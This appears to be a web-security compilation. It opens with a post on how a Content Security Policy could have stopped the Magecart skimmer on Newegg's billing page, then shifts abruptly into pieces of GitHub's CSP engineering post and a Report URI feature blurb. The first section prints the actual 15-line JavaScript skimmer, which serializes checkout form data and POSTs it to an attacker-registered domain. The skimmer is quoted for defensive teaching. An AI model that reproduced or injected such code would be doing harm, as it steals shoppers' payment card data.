How a Content Security Policy (CSP) Could Have Protected Newegg

Fifteen lines of code — 15 lines of JavaScript, to be precise — is all it took for Magecart (editor’s note: lol at that name) to capture payment data on Newegg’s billing page before sending it to a domain they registered. Here are those 15 lines:

window<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
  <span class="token function">jQuery</span><span class="token punctuation">(</span><span class="token string">'#btnCreditCard.paymentBtn.creditcard'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token string">"mouseup touchend"</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
   <span class="token keyword">var</span> dati <span class="token operator">=</span> <span class="token function">jQuery</span><span class="token punctuation">(</span><span class="token string">'#checkout'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
   <span class="token keyword">var</span> pdati <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>dati<span class="token punctuation">.</span><span class="token function">serializeArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
   <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
    jQuery<span class="token punctuation">.</span><span class="token function">ajax</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
     type<span class="token punctuation">:</span> <span class="token string">"POST"</span><span class="token punctuation">,</span>
     async<span class="token punctuation">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span>
     url<span class="token punctuation">:</span> <span class="token string">"https://neweggstats.com/GlobalData/"</span><span class="token punctuation">,</span>
     data<span class="token punctuation">:</span> pdati<span class="token punctuation">,</span>
     dataType<span class="token punctuation">:</span> <span class="token string">'application/json'</span>
    <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
   <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">250</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
  <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token punctuation">;</span>

We don’t know how this malicious code was injected on Newegg’s billing page, but we do know how Newegg could have drastically decreased the likelihood of a breach.

Content Security Policy

Content Security Policy (CSP) is a security standard which helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks resulting from execution of malicious content in a trusted web page context. It’s also supported and enforced by all major web browsers.

Looking at the code above, we can see that Magecart embedded an XHR request to neweggstats.com. CSP provides space for defining a rule that blocks this type of request by establishing policies to only permit certain types of content from safe sources. When configuring your web servers, make sure they are set to return the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Content-Security-Policy</a> HTTP header. For example:

Content-Security-Policy:
  default-src 'self' *.trusted.com;
  img-src *;
  media-src mediasouce1.com mediasource2.com;
  script-src scripts.trusted.com;
  connect-src 'self'

For this particular breach, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/connect-src">connect-src</a> is the critical rule. Again, because we don’t know how the code was actually injected, we can’t be sure that CSP would prevent the injection itself. However, the connect-src directive would have prevented the HTTP request to send the data to somewhere else, especially a sneakily-named domain.

GitHub’s CSP journey

We shipped subresource integrity a few months back to reduce the risk of a compromised CDN serving malicious JavaScript. That is a big win, but does not address related content injection issues that may exist on GitHub.com itself. We have been tackling this side of the problem over the past few years and thought it would be fun, and hopefully useful, to share what we have been up to.

Just to get everyone on the same page, when talking about “content injection” we are talking about:

  • Cross Site Scripting (XSS) – Yup, the most common web vulnerability of the past, present, and foreseeable future. Given its prevalence, many developers are familiar with XSS and the obvious security consequences of allowing injected JavaScript to execute on your site.
  • Scriptless attacks – This is a more nuanced issue and is frequently not considered since people are too busy fending off XSS. But, as has been documented by Michal Zalewski in “Postcards from the post-XSS world”, Mario Heiderich (et al) in “Scriptless Attacks –
    Stealing the Pie Without Touching the Sill”
    , and other related work, preventing XSS does not solve all of your content injection problems.

GitHub uses auto-escaping templates, code review, and static analysis to try to prevent these kinds of bugs from getting introduced in the first place, but history shows they are unavoidable. Any strategy that relies on preventing any and all content injection bugs is bound for failure and will leave your engineers, and security team, constantly fighting fires. We decided that the only practical approach is to pair prevention and detection with additional defenses that make content injection bugs much more difficult for attackers to exploit. As with most problems, there is no single magical fix, and therefore we have employed multiple techniques to help with mitigation. In this post we will focus on our ever evolving use of Content Security Policy (CSP), as it is our single most effective mitigation. We can’t wait to follow up on this blog to additionally review some of the “non-traditional” approaches we have taken to further mitigate content injection.

Report URI: Content Security Policy, powerful monitoring and protection

With Content Security Policy, and reporting provided by Report URI, you can take full control of resources that are permitted to load on your site. Taking control of where JavaScript can be loaded and executed from is a powerful mitigation for one of the most common forms of attacks seen against web applications, Cross-Site Scripting (XSS).

KEY FEATURES
Whilst the main attraction to CSP is mitigating Cross-Site Scripting attacks, it has a lot more to offer. Here are just a few of the things that you can do with CSP:

  • Detect mixed-content
  • Control where forms can post data
  • Restrict loading of any content type
  • Automatically fix mixed-content
  • Control nested browsing contexts
  • Defend against click-jacking